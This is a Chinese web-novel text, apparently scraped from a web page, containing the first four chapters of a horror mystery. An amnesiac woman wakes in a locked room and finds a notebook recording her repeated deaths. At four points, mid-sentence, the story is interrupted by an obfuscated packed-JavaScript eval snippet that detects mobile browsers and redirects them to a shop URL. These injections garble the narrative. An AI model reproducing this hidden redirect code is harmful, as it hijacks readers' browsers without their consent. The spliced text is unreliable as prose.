《开局一本笔记本[无限]》 1. 开局失忆 上午九点整,明媚的阳光笼罩着这栋不算高的旧楼房,带着一丝临夏的热意,暖色光线穿过一扇扇玻璃窗落到各个房间内,直到碰到一扇拉着窗帘的窗户。 深色窗帘老旧又厚重,从没关严的玻璃缝隙间时不时钻过几缕风,窗帘被风吹得微晃,丝丝阳光落进房间内,光线里漂浮着无数灰尘的颗粒。 风停止时,厚重的窗帘把所有光线都挡在窗外,房间里一片漆黑。 “咚咚咚!”手指敲击在防盗门上,响声透过门板传进室内。 在第三下敲门声落下的瞬间,女人被噩梦惊醒,左胸腔深处的心脏在一下又一下地奋力跳动,从胸腔共振到大脑,声如巨雷。 她睁着眼,眼神有些呆滞,直勾勾地盯着天花板,不敢闭上,生怕一闭眼就回到噩梦里。 安静的房间内一时间只能听到自己过重的心跳声,压抑得有些喘不上气。 风又从窗户缝隙间吹过,风流一次比一次大,窗帘晃动间,阳光驱散了黑暗,女人忍不住眯了眯眼,大脑缓缓脱离噩梦的后遗症逐渐恢复意识。 借着微弱的光线,她躺在床上看清了视野内的情况。 入眼便是铺得平整的纯白墙粉天花板,墙边安着长条灯管,一旁还有个看不清牌子的空调。 她偏了偏头,目光自然而然地落在床铺左侧,靠墙位置立着推拉式深棕色实木衣柜,右边是墙壁拐角,能看到不远处的房门。 眼睛稍微往右轻轻一动,在此时昏暗房间内显得幽黑又空洞的电视屏幕挂在墙壁上正对着床,略显老旧的四腿木桌子放在靠近床脚的墙边,带背靠的木椅子与桌子刚好隔开一人距离,桌腿右边还有个套着黑色袋子的垃圾篓。 这是一个很简约的单间房,家具不多但也够日常生活。 只不过…… 这是,哪里? 女人猛地从床上坐了起来,环顾四周,越看越茫然。 她没有任何关于这个房间的记忆,一切都非常陌生,像是外来客闯进陌生人的家里,对里面的布局结构带着生疏与迷茫,但她也不知道自己为什么在这里。 呆愣了没一会儿,她动了动腿准备下床去找找线索,门外却再次突然传来敲门声。 “咚咚咚!” 突如其来的动静令大脑有瞬间的空白,心脏随着那敲门声“咚”的一下瞬间剧烈跳动,本能地盯着房门浑身紧绷。 她不吭声,外面的男人敲了一会儿门发现没人应,语气略带急促地喊道:“小然,你在里面吗?别睡了快醒醒,出事了,你赶紧出来!” 听到这话,女人眼球微微一动。小然?谁?她吗? 她对说话人的声音没有任何熟悉感,甚至还有种说不出的恐惧感。在不知道情况的时候贸然出声或者开门,危险的可是她自己。 门外的男人喊了几句都没听到回应,敲门声越来越大,每一声都像锤子一样敲在她的心上,砰砰砰的跟砸门似的。 女人蜷缩在床上,脸色苍白,心悸感愈发强烈。 她不敢去开门,直觉告诉她,出去会有不好的后果。 她现在失去了以往所有的记忆,连自己的名字都不记得。至于她为什么会在这个房间里,完全是一头雾水。 随着胸腔深处传来的重重跳动,她忍不住捂着那块地方,手指在衣服布料上逐渐用力。 突然间,敲门声戛然而止,安静得好似一切都没发生过。 从刺耳的吵闹,到瞬间变成掉根针都能听到声音的寂静,反而比之前更加令人恐慌。 女人盯着房门看了半天,强迫自己冷静下来,又等了一会儿还是没动静,外面的人,应该是走了吧? 她小心翼翼地下床,继续缩在床上也无济于事,恐惧并不能解决问题,总要先查清楚发生了什么,这又是哪里。 她试图在房间里找到一些有用的线索。 先是检查了下自身,发现自己穿着普通白色圆领短袖,套着一件灰色薄外套,下面穿着黑色阔腿牛仔裤。她活动了下手脚,感觉身体没任何不适。 看来虽然失去了记忆,但她还有个能思考的头脑和健全的身体。 她走到窗边,想拉开窗帘让室内光线更明亮些。刚伸出手碰到窗帘,就想到窗帘一旦被拉开,她会直接暴露在阳光里,如果外面有人在盯着这边,一下子就会暴露出里面有人,知道她醒过来了。 收回手,侧耳仔细听窗外的动静,很安静,只能听到穿过窗户缝隙的风声,还有时不时传来的车辆行驶声。 听声音,她现在所处的位置离车辆行驶的地方不远,大概不到一百米。声音位置稍微偏下,应该是处于一个楼层不高的房间里,外面靠马路但车辆不多,较为偏僻。 女人走到床头柜边,上面有个手机充电器和一个空杯子。翻了翻床上,从枕头下摸出一个套着可爱风格手机壳的手机和耳机。 按了下开机键,屏幕亮了,显示还有92%的电。她看着这个剩余电量,像是充满电后待机一晚上的剩余电量。 锁屏壁纸是一张普通的卡通图,上面显示日期5月10日,星期二,时间上午9:08,天气晴。 她对这个日期也没任何记忆,看着需要指纹解锁的页面,把自己按手机顺手的几根手指都试了一遍,都解不了锁。 果然,这个手机不是她的。 解不了锁,这个手机对于她来说除了用来看时间和打光外,没任何用处。 出于谨慎,她还是把手机调成了静音模式。 接着打开手机手电筒,翻了翻床头柜的抽屉,里面是很平常的零碎用品,没什么线索。 之后来到桌子旁,桌面上摆着一个烧水壶,里面水差不多空了。走近后黑漆漆的电视屏幕上倒映出手电筒的反光,和黑色的身影,显得更加吓人。 桌子靠墙处放着一个落了灰的路由器,插着电源却没亮灯。旁边是三桶垒起来的泡面,摆了四垒,包含了好几个牌子的不同口味。 泡面边上是一小提罐装可乐,六罐包装的外壳里少了一罐,女人往桌子底下的垃圾篓里瞥了眼,里面空荡荡的,没看到可乐罐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179086|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可乐边上是五瓶五百多毫升的矿泉水,摆了一排。桌上的这些吃的喝的都摆得整整齐齐。 目光随着手机电筒光扫了一圈桌子上的东西,然后她才看向桌上唯一一个像是能提供信息的东西——一个有着黑色封面红色图案的笔记本。 封面图案有些怪异,乍一看像一张有五官人脸,仔细看是由树枝构成的小鹿。 笔记本外装是皮质的,女人对这些材质之类的不了解,不清楚是什么皮做的,只是摸上去感觉质感细腻又冰凉。 红色图案像浮雕一样印在封面中央,摸上去的手感比黑色皮外装要更软一些。 她翻开笔记本第一页。 「现在是5月10日星期二,上午九点多。」 「我叫纪然,20岁,性别女。」 「醒后发现自己躺在一个陌生的房间里,除了记得自己的名字年龄和一些常识外,失去了所有记忆……」 女人看到这里,瞳孔一缩,一个激灵从后脊背窜到后脑勺,顿时手臂上就起了鸡皮疙瘩。 她硬着头皮往下看。 「这个时候门外有人在敲门,还喊着小然快开门之类的话。小然?是在喊我吗?」 「我走过去开了门,门外是个蒙着脸的男人。我一打开门他就用斧头砍向我的脖子,然后我死了。」 看到这里,她感觉身体有些发冷。 这一页写完了,她翻了一页。 「现在是现在是5月10日星期二,上午九点多。」 「我叫纪然,20岁,性别女。」 「醒后发现自己躺在一个陌生的房间里,除了记得自己的名字年龄和一些常识外,失去了所有记忆……」 跟第一页一模一样的开头,她耐着性子继续往下看。 「这个时候门外有人在敲门,还喊着小然快开门之类的话。小然?是在喊我吗?」 「我不敢开门,隔着一层门板问他是谁,他说是我的朋友。说实话我不太相信,他说话的时候我有种莫名的恐惧感。」 「我没再说话了,门外的人却开始砸门。声音越来越大,像是拿着一个斧头在砍门。我很害怕,不知道该怎么办,最后选择躲进衣柜里。」 「我听到门被砍破的声音,脚步声走了进来,离我藏身的衣柜越来越近,被发现了吗?」 「衣柜门突然被拉开,一个蒙着脸的男人出现在我面前。他用斧头砍在我头上,然后我死了。」 不知道为什么,这些口吻平淡的文字在脑子里都有一股强烈的既视感,就好像已经发生过一样。 大脑仿佛僵住了,心率飙升得越来越快,仿佛要从胸腔里跳出来一样,由血管跳动到浑身不由自主地颤抖,整个人被一股强烈窒息感紧紧包围。 她呼吸错乱了一瞬,很快又调整回来,除了整个后背都被冷汗打湿外,看不出太大异常。 继续翻开第三页。 「现在是5月10日星期二,上午九点多……」 依旧是一模一样的开头,后面内容又有了新的变化。 2. 见鬼了? 「我不敢开门,也不敢发出声音,缩在床上一动不敢动。敲门声越来越大,直觉告诉我如果发出声音或者开门,会有不好的事发生。」 「万幸的是,没一会儿敲门声就停下了,整个房间非常安静。」 「我强迫自己冷静下来开始在房间里翻找线索……」 文字就写到这,后面全是空白。 女人紧紧抓着笔记本,眼前的字迹似曾相识。她试图回忆之前的事,可记忆却如蒙上一层迷雾,毫无头绪。 人类天性对未知充满了恐惧。 而现在未知为刀俎,她为鱼肉。 女人闭上眼睛,深吸一口气,努力控制自己内心深处的恐惧和不安。 她深知,无论如何,逃避都不是解决问题的办法。 冷静,一定要冷静下来。 越是恐惧就越是要去探索未知,害怕并不能解决恐惧,在这种时候绝不能坐以待毙。 肺部来回通气换气间,急促的心脏跳动渐渐平稳下来。 她就是纪然吗? 这个笔记本里两次“死亡”的人。 确实这个名字给她一种莫名的熟悉感。 为什么三页的开头都一模一样,恶作剧吗? 甚至第三页都没有写完,而她刚发生的事,跟第三页写的内容完全一致,就好像……就好像是照着她的行动记下来的。 难道,这一切之前就发生过? 那么她是怎么“死而复生”的? 女人的目光落在了开头写着的日期上——“现在是5月10日星期二,上午九点多。” 她按亮手机屏幕,上面此时正显示5月10日星期二,上午9:25,天气晴。 一模一样的日期,和差不多的时间。 巧合? 还是有人故意设计的? 手头的线索太少,根本无法从中看出什么。 目前最大的疑点就是里面提到的“我死了”,还是两次。 她总不可能是在死后自己写上去的吧,还是说这个笔记本只是单纯用来吓唬人的东西。 吓她有什么作用? 她摩挲着笔记本,不管是封面还是里面的纸张,都十分崭新。 合上笔记本放一边,继续寻找线索。 面前的桌子是带着抽屉和小柜子的。 女人按从上往下从左往右的顺序,挨个打开抽屉和柜子查看,从里面翻出了化妆品和各种小零食,还有几本文学名著,没找到任何身份信息,连张照片都没。 除此之外就只找到几支笔,和记着密密麻麻笔记草稿的本子。她每个本子都翻了翻,没什么有用的信息。 目光瞥到桌上的笔记本,她对比了下字迹,笔记本和草稿本上的字迹明显不同,不是同一个人写的。 她略微思索,打开笔盖,在草稿纸上写了一遍笔记本上的第一句话。这么一对比,赫然发现笔记本上的就是她的字迹。 女人心里一个咯噔,如果不是别人模仿她的字迹写下的,那么这上面的内容就是她自己写的! 她翻到第三页,原本上面的内容并没有写完,停留在「我强迫自己冷静下来开始在房间里翻找线索……」这句。 接下来发生的一幕令她瞪大了眼睛。 「我在桌上看到一个奇怪的笔记本,里面的内容令我毛骨悚然,而且,笔记本上的字迹,跟我的字迹一模一样。」 …… 眼睁睁的看着文字一个个的出现在纸张上,仿佛在显示屏里逐一打出来的字一样,一字字逐个浮现。 女人,或者说是纪然,摸着笔记本的手有些颤抖,真是见鬼了! 心脏仿佛被钳子夹住似的,恐惧的情绪再次蔓延开来。这种恐惧不是因为某个具体的事件或者某个人,而是一种荒谬的诡异,带着无所逃避的感觉。 “滋……滋……” 房间里突然响起如电流般的声音。 瞬间头皮发麻,心里一紧。 她迅速地抬头,很快确认了是电视的声音,警惕的盯着电视屏幕,有些不安地站起身退后几步。 “滋……滋……” 黑色屏幕闪了闪,自己亮了屏,显示开机中。 纪然拿着笔记本的手上冒着冷汗,又退后了几步,直接退到床头边。 电视屏幕里自动打开了视频中心,随后跳到一个新闻直播上。 “据A市临光区公安局最新消息,昨日上午10点在临光区郊外水库中发现一具男尸。经过血液与指纹匹配,该男尸正是三日前一起失踪案的失踪人员。” 她抿了抿唇,眸色深沉,盯着电视里播放的内容。 现在跳出来的这个刑事案件,是要表达什么? “在5月7日上午9点许,我市临光街区公安局接到一人员失踪警情。失踪人员季某,男,28岁,身高一米八以上,身材偏瘦。失联时身穿黑色风衣和白色球鞋,手提棕色文件包。” “据报案人周某所言,季某在5月5日下午13点许不见踪影,周某与朋友寻找后在季某家发现大量钱财消失,且季某失踪之前与他人存在巨大矛盾。” “临光街区公安局在5月7日当晚22点,已将该失踪案确认为刑事案件,后由临光街区公安部刑事侦查局接手调查。” “经刑事侦查局持续工作,于5月9日上午10点许在郊外水库发现失踪人员季某的遗体。案发现场无打斗痕迹,且受害人身上并无任何伤痕,失踪时携带的钱财也不翼而飞。” “经法医确认,受害人季某的死亡原因为缺氧窒息。较为奇怪的是,受害者死亡前并无挣扎痕迹,脸部表情无痛苦,在体内也未发现任何药物残留痕迹。” 听到这里,纪然皱起了眉——表情无痛苦且并无挣扎痕迹? 在缺氧即将窒息的时候,人的血液承载氧气的能力不足,末梢供养缺乏,会感到特别痛苦难受。而此时意识并没有完全丧失,会产生腿脚抽动的神经痉挛,生物本能的会开始挣扎。 如果是被打晕导致在昏迷时窒息而死,那么身上必定会留下痕迹。 若是药物致昏迷,能让人在窒息的痛苦下依旧保持昏迷状态的药,除注入式的药会让身体留下痕迹外,吸入式和吞入式的药,怎么可能体内查不出药物残留? 虽说药物在体内几天就能被代谢掉,但是人在死亡后几分钟内细胞代谢就会停止,不可能没有药物残留的痕迹。 这个人,死得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179087|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很奇怪。 “多方调查后,已确定该死者为上一件凶杀案关键目击证人。因与前几件凶杀案相同点明显,死亡后身上毫无痕迹,目前已把该失踪案并入临光区第九系列凶杀案。” “今日上午8点许,刑事侦查局接到报案人周某的电话,为案件提供了新的线索,目前该案件已经有了新一步进展。” 或许是直觉,她隐隐觉得,这个报案人周某,有点奇怪。 电视画面播到这里,屏幕一闪瞬间就黑了,跳出关机中的页面。 纪然这才反应过来,紧紧盯着已经熄屏的电视,这诡异的一幕令人后背发凉。 为什么电视会自己开关机,会自己跳出新闻直播,是有人在暗地里操控? 想到刚才笔记本里的那一幕,纪然不认为事情会这么简单,只感觉是某种不可言说的力量在操控这一切,脱离了物理范围。 所以,这种神秘力量让她看新闻直播,是想告诉她什么? 线索还是太少了,已经出现了不能被科学解释的情况,就目前了解到的信息,纪然什么都分析不出来。 电视现在没有动静,她忍着思绪不安,继续搜查房间。 纪然把手机电筒光对准地面,手指轻轻擦碰地面,收回手指后借着光打量,指尖只有浅浅的一层灰尘,不过是一般几天没拖地的地步。 她站起来摸了下桌子,桌子也很干净,没什么灰,椅子和床头柜也是。 这么看来,这个房间有两三天没人住过,而她是在房间的主人失踪后才进来的。 想到之前找到手机时显示的电量,92%。 既然房间主人不在,为什么手机却在这里,还是昨晚才充满的电。 纪然深吸一口气,视线转向了房间另一边还没探索的衣柜,和像是卫生间的门。 先近后远,她走到衣柜前。 借着手机手电筒暖色的光,眼前的衣柜大门呈现深棕偏橙的颜色。是老一辈常用的那种需要拉开的衣柜,实木做的,陈旧又庞大。 翻了翻衣柜,全是叠得整整齐齐的日常衣裙,衣服风格看起来偏森女系,没什么有用东西。 她拉开了衣柜下面的抽屉,里面装的是叠好的女性内衣裤,边上还有个盒子,盒子里装着一些精致的首饰,一把不知道是什么上面的钥匙,和一张黑金色的纸质烫金贺卡。 黑色贺卡外包装上写着一行字:欢迎加入我们! 她拆开贺卡,里面是一张黑色的卡。 材质摸起来像IC卡,但是触感冰凉,其中长的一边边缘锋利,看着比菜刀还快,更像是多功能卡片刀。 这张卡整体是黑色的,看到的第一眼就是金色鹿图案,摸上去还有凹凸感。 纪然把卡翻到正面,入眼便是金红色线勾勒的两个大字。 「纪然」 她一怔,仔细打量着手中这张不同寻常的卡。 名字后面还有一串小一点的金色数字。 「ID:1001437」 名字和ID,这不是只有游戏里才会存在的吗? 再下面,是一串像时间一样的红色数字,但是仔细看又不像,令人摸不着头脑。 「1,0,0」 3. 第三次被杀 再下面,是一串像时间一样的红色数字,但是仔细看又不像,令人摸不着头脑。 「1,0,0」 这个数字颜色红得鲜艳,在黑底卡面上透露出一丝诡异的感觉。 卡牌最右下角还有还有一组数字,由白色带着荧光的细丝线组建的。 「71:20」 纪然看着手上的卡,名字和ID好理解,可后面两串数据实在想不到在表达什么。 刚想把这张卡塞口袋里,余光好像看到黑卡右下角的数字闪了一下,以为是自己眼花,下一秒就注意到数字变了。 「71:19」 纪然有些被吓一跳,她确信自己记忆力没出错,之前后面的数字就是「20」,现在变成了「19」。她仔细检查黑卡,丝毫看不出整张卡有显示屏的痕迹,就是很完整的普通卡面。 又是个跟笔记本一样诡异的东西。 所以这个是倒计时? 是什么东西的倒计时? 定时炸弹?不太像,潜意识告诉她,目前已知的定时炸弹最长定时时间是10小时。 纪然看到黑卡后面的数字再次跳动后,眼神偶然落到了手机上,灵光一闪。 按分钟倒计时的话,结合她醒来后在房间里找线索的时间,她大概是在九点醒过来,补上时间差,这个倒计时就是从72小时开始的。 从她醒后开始倒计时? 真不是什么炸弹吗…… 思维一发散,她忽然想到了密室逃脱这几个字,有种莫名的熟悉感。除了字面上的含义,她想不起来密室逃脱有哪些方面,但是隐隐知道它的规则。 要在规定时间内找到线索逃离出去,不然就会“死”。 也就是说,这个倒计时是提醒她要在72小时内逃出密室,或者找出真相,不然就会“死”? 越想越有道理。 原本失忆带来的茫然未知感,让她头顶始终悬着一把达摩克利斯之剑。现在加上“炸弹”的倒计时,更是加重了时间的紧迫性。 纪然把黑卡和盒子里的钥匙装进衣服口袋里,其他的东西又塞回了抽屉。 得继续寻找线索才行。 抽屉合上的刹那,贺卡像被透明的火焰灼烧了似的,几秒钟就化为灰烬,无声无息地消失在抽屉里,连粒灰尘都没有留下。 大门旁边有个鞋柜,纪然打开柜子把每双鞋都翻了一遍,都是跟她能穿的码。手指捏了捏鞋底,每一双鞋底都带着弹性,行动起来不累脚。 门上面还挂着一个黑色背包,拉链上坠着一个小小的Q版玩偶,瞧着挺可爱的。包里只有一把折叠伞和几包纸巾,和几张创口贴。 现在整个房间,就剩下靠近大门那的一个磨砂玻璃门,看着是个卫生间的地方还没有检查。 隔着玻璃门往里面望去,黑漆漆的一片,像是里面都没有窗户。 纪然谨慎地推开门,先是站在厕所门口往里看,里面面积不大,一眼看到底,没什么不同寻常的。 甚至连厕所垃圾篓都是空荡荡的。 大致看了看后,才走进去又仔细检查了一遍。连花洒都取下来对着光查看,甚至还用力晃了晃,没什么反常的动静。 厕所里的探索毫无收获。 她回到床边,干脆把床单被套褥子枕头全都拆下来抖一抖,在最底层的褥子靠边缘部分发现一丝黑棕色的污垢。闻了下味道,有股腥臭味,像血迹。 顺着血迹往下看,原本被床单盖住的床沿边上,也有疑似血迹的污垢。 她凑近床沿仔细观察,上面的痕迹不大,边缘部分呈拖长形状。 纪然把整张床都找了一遍,除了这两处有痕迹外,其他的地方都干干净净的,地板上也都没任何痕迹,简直一无所获。 她坐在床边,思考着已发现的线索。 如果这是血迹,那从这还没巴掌大的痕迹中很难去判断发生了什么,说不定还是房间主人来大姨妈时不小心染上的。 其他的,除了笔记本和黑卡外,没任何有用的信息。 还有一把不知道用来干嘛的钥匙。 她试了下发现不是厕所门的钥匙,而房间所有抽屉和柜子都没锁孔,那就只剩下大门的锁了。不过这个得等房间里的线索找完了再说,也不知道门外的人有没有离开。 纪然看了一眼时间,现在已经接近十点半了。 已有的线索只能推测出房间的主人是个年轻女性,性格文静做事井井有条,爱干净,喜欢可爱的东西,还喜欢散步逛街。 身高体型可能和她差不多,应该不会做饭,全靠吃泡面,或许还有点外卖。 她又走到衣柜前,看着里面的衣裙,又加了一句推测:穿着简约偏森系,整体颜色稍微有些朴素,应该是性子比较内向,平常出门也不想惹人注意,日常生活几点一线有规律。 一个年轻女性大致的形象出现在她脑海里,那么问题来了,房间主人去哪了? 地面桌面都挺干净的,热水壶里水喝完了,一提可乐里少了一瓶。垃圾篓里干干净净的连个垃圾袋都没套,手机之类一般不离身的物品全在房间里,好像只是出门丢个垃圾就会回来一样。 结果两三天没有回来。 这里最大的矛盾是手机电量不对,92%的电。 难道现在手机待机几天只损耗8%的电,还是说设置了自动开机? 前者不符合逻辑,后者,为什么要设置自动开机? 纪然挪动腿,来到门后,门上有个被合上的猫眼。 不知道之前外面的人走了没有,她暂时还不敢开门,万一直接开门杀…… 她先是轻轻把耳朵贴在门上听外面的动静,听了几分钟都没个声响,才稍微缓了缓自己的紧张。 她盯着门上被盖住的猫眼,要凑上去看吗? 纪然有些犹豫,不知道为什么,一想到要去看猫眼,脑海里就浮现出有人趴在门上从猫眼往里面看的画面,如果这个时候里面的人也在看猫眼…… 想想就起鸡皮疙瘩。 就在这时候,她意外发现门槛好像那有深色的痕迹,宁愿多此一举也不想错过任何信息,便蹲下身仔细查看。 这个防盗门的门槛本身就是深棕色的,黑棕色的痕迹在上面很不明显,手电筒的暖光照上去才显现出一点迹象。她用手指碰了碰,放到鼻子下一闻。 又是血腥味。 血迹很少,像不小心滴在门槛上,然后顺着往下滑,流出的几条轨迹。 为什么这里会有血迹? 刚才在床上也发现了,难道说房间主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179088|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇害了? 可这么一点血迹,根本无法验证这个猜测。之前用手电筒的光观察地面灰尘时,地上除了隐隐约约观察到的,除她自己的脚印外什么都没有。 毫无头绪。 目前掌握的线索远远不够。 纪然刚想站起身,透过门框与门的缝隙间,好像听到了门外传来的轻微脚步声。 脚步声停在门前,轻微的窸窣声响起,随后纪然听到了比她要粗重一些的呼吸声。 瞬间头皮发麻。 一想到门外的人此时跟她就隔着一张门,贴得极近,在听门里面的动静,这种画面令她浑身直冒冷汗。 在刻意去听下,门外的呼吸声很明显。 纪然心脏剧烈跳动,是之前房间里突然放电视的声音引来的?是之前敲门的那个人吗? 想到笔记本第二页写的内容,如果是之前敲门的人,那他手里有斧头,能轻而易举的破开这老旧的门,为什么还要贴着门在这里听动静? 纪然不知道门外的人想做什么,也不知道他什么时候会走,只知道她一旦出去,很有可能会被杀死。 她屏住呼吸,没发出任何动静,门外的呼吸声也听不到了,一触即发的紧张感围绕在她心头,令大脑有些空白,来不及深想,先小心地远离了房门。 纪然刚挪动到床边,还没来得及站起身子。 门上传来“砰”的一声巨响,她瞬间瞳孔一缩,恐惧如潮水般袭来,强烈的窒息感包裹住她的大脑,令大脑有那么一瞬间的空白。 “砰!” 这个声音……是斧头砍门的声音! 纪然心跳剧烈,手指发着抖,她被一下下的砍门声给唤回理智,努力想要找出一条生路。 顾不上其他的,纪然飞快跑向窗户,一把拉开窗帘,刺目的日光令她眼球灼热一痛,条件反射性的闭上了眼。 纪然努力眯着眼睛,想要从窗户翻下去,但等她看清窗帘后的防盗栏时,有些绝望地闭上眼。 她捏了捏鼻梁,脑子里疯狂思考着还能有什么办法。 随着越来越透彻的砍门声,门外的男人已经看到了里面的女人,不由得兴奋地舔了舔唇,握紧了斧头再次用力砍向门。 纪然回过头,与门外的人对视了一眼,清楚的看到他充满血丝的眼里满是兴奋与癫狂,令人头皮发麻。 她知道,自己要死了。 …… 纪然打了个激灵,回过神来,刚刚不知道为什么,突然发起了呆。 她没想太多,低头继续打量着。 「71:18」 拿在手里的黑卡,右下角的数字再次跳动了,从19跳成了18。 这个72小时的倒计时,是在告诉她需要在72小时内逃离出去,或者找到真相吗? 奇怪,她怎么一看到数字跳了就直接想到这个想法,很奇怪,总感觉少了点什么。 甚至这个画面有种莫名的既视感。 纪然把黑卡又翻了个面,想仔细检查还有什么线索,发现原本黑卡背面的鹿图案不见了,出现了几行字。 「主线剧情已激活」 「主线任务:找到消失的房主」 「支线任务:暂无」 「新手提示:已使用(1/3)」 4. 新手提示 纪然盯着这几行字,视线落在最后一行字上。 新手提示? 她什么时候用过了? 看过黑皮笔记本后,纪然已经对这些离奇的东西接受度良好,面不改色的把黑卡和盒子里的钥匙放进口袋。 想到笔记本,她又走到桌子前。刚一碰到笔记本的黑皮,就感觉它在发热,吓了个手哆嗦。 纪然感觉它不对劲,从第一页开始检查,到第二页都没任何问题,直到翻开第三页,后面再次出现了新的内容。 「房间里的电视机突然自己开机,跳出一个新闻直播,内容是一起失踪案件。整个新闻听得有些令人迷惑,里面有很多疑点。」 「随后我在房间里继续寻找线索,找到一张奇怪的黑卡,根据已有信息推测出房间主人的大致形象。之后我在被褥最下面一层和大门门槛那发现了血迹,其他地方毫无收获。」 「在我检查门槛的时候,突然听到门外有脚步声和呼吸声,有人在门外!」 「不知道为什么,我被发现了。在拉开窗帘后,才看到这个房间的窗户有防盗设计。我逃不掉的,他砍门进来了,再次用斧头砍死了我。」 …… 纪然苍白着一张脸,有些难以置信里面的内容。 从笔记本新增加的内容里,新闻和黑卡都对应上了,只有提到的“血迹”她还不知情。 这笔记本能预言未来? 纪然紧紧盯着上面的文字,好似要把它盯出个洞来,大脑疯狂运转。 不,不对。 按照之前看到它自己显示出来的文字,这笔记本明明是只会记下“进行时”,前面两页还都是“过去时”,所以…… 她翻开笔记本的第四页。 「现在是5月10日星期二,上午九点四十多分。」 「看完诡异的新闻直播后,我在衣柜里找到一张黑卡,背面写着一些任务信息。最后一行字显示新手提示已经被使用了一次,奇怪,我什么时候使用了?」 「想到同样奇怪的笔记本,我再次翻开它,发现——第三页的内容被写完了。」 「我好像,又丢失了一段记忆。」 纪然低着头,牙齿无意识地轻咬着下唇里侧的肉,略微凌乱的长发顺着肩背垂在腰前腰后,深色瞳孔紧紧盯着那几行字。 有种意料之中的意外感,矛盾又复杂。 她按亮手机屏幕,现在是9点45分。 想到笔记本里提到的血迹,纪然走到床边,直接掀开最底层的被褥,果不其然,靠边缘部分有黑棕色的痕迹。 纪然深吸了一口气,又长长吐出,克制着生命对死亡本能的恐惧感。 按照笔记本上的内容,一页是一次真实的死亡,那她是在不到一小时里死了三次? 三次都是因为门外的那个人。 开门不行,躲在房间里也不行,那么要怎么避开这种几乎必死的结局? 想到第三页写是在她找到黑卡后,在房间里又探索了一番,才被门外的人砍门而入,这个探索的时间估计没多久,毕竟房间就这么大。 时间的紧迫感让她再次乱了呼吸,手电筒的光倒映在她的眼眸上,颤动时,像有烛火在摇曳,随后,被熄灭。 纪然关了手电筒,走到窗边,一把拉开厚重的窗帘,明亮的阳光瞬间侵占整个房间,驱散了那股阴冷的感觉。 既然三次都是与门有关,那人很大可能就守在门口,这种时候拉开窗帘也不会被发现。 一直待在昏暗光线下的眼睛,不太适应这么亮堂的光,被刺得闭眼缓了缓,才慢慢睁开。 黑色的眼睛眯着,看到窗户外侧套着的防盗网,横横竖竖地立在那,充满了存在感。 纪然拉开玻璃窗,伸手摸了摸防盗网,是不锈钢质的,从窗户逃脱这条路被堵死,除非她能做到徒手掰不锈钢。 转过身,清亮透彻的光从她身后穿过去,照亮室内的每一处,纪然逆着光,再次打量着房间内的设施和物品。 自带多情的桃花眼里毫无感情,微眯着时本该是勾人的眼型,此刻却透着冷漠和一丝紧张。 纪然抿着唇,整个房间就是一个堵死所有生路的密室,毫无逃脱的可能。 到底该怎么办? 虽然不清楚为什么在她死亡三次后,还能有意识的站在这里,但对于生命而言,她不想赌下一次还能不能“复活”。 也许,笔记本上的内容只是某种魔术,她从头到尾只“活”了这一次。 又或许,门外根本没有危险,一切恐怖都来自于自己的想象。 纪然的手指拧着外套的拉链那一角,目光有些涣散,大脑漫无边际地转着。 所以该怎么办呢? 是真是假,终归是50%的概率。 要去试试吗? 一直待在这也没出路,不论如何,她终是要出去的。 纪然的神情隐没在阳光后的阴影里,看不真切,那股紧张的心悸感却平复了下去,手指松开了拉链角。 先论证一下她的一个猜测。 她走到桌前,拿起笔尝试着在笔记本上写字,发现无法在笔记本的纸上留下任何痕迹,用水也打湿不了。 果不其然,这笔记本不是普通东西,跟黑卡一样怪异。 难道是笔记本让她“复活”三次? 毕竟如果是黑卡背后显示的新手提示让她“复活”,那不应该次数只用了一次。 如果是这样的话,她看了看笔记本的厚度,这起码还能“复活”个上百次吧…… 只不过,前三页的内容都是从九点醒来后开始的,只有第四页是从九点四十多分开始的。跟前面对比,不同的是在第四页的情节里,看完了新闻直播,还找到了黑卡。 纪然垂眸思索,是因为触发了某种节点吗? 就像是打游戏那样,剧情推进后,下次再进游戏是从最新的剧情节点开始。而在剧情没有触发自动存档节点时,下次进入游戏时还是在开始时的情节。 所以她像是游戏里被操控的“主角”,剧情推进后没有达到自动存档节点时,在这之间发生的所有事都会随着读档而忘记。 那看来这段剧情推进的节点就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 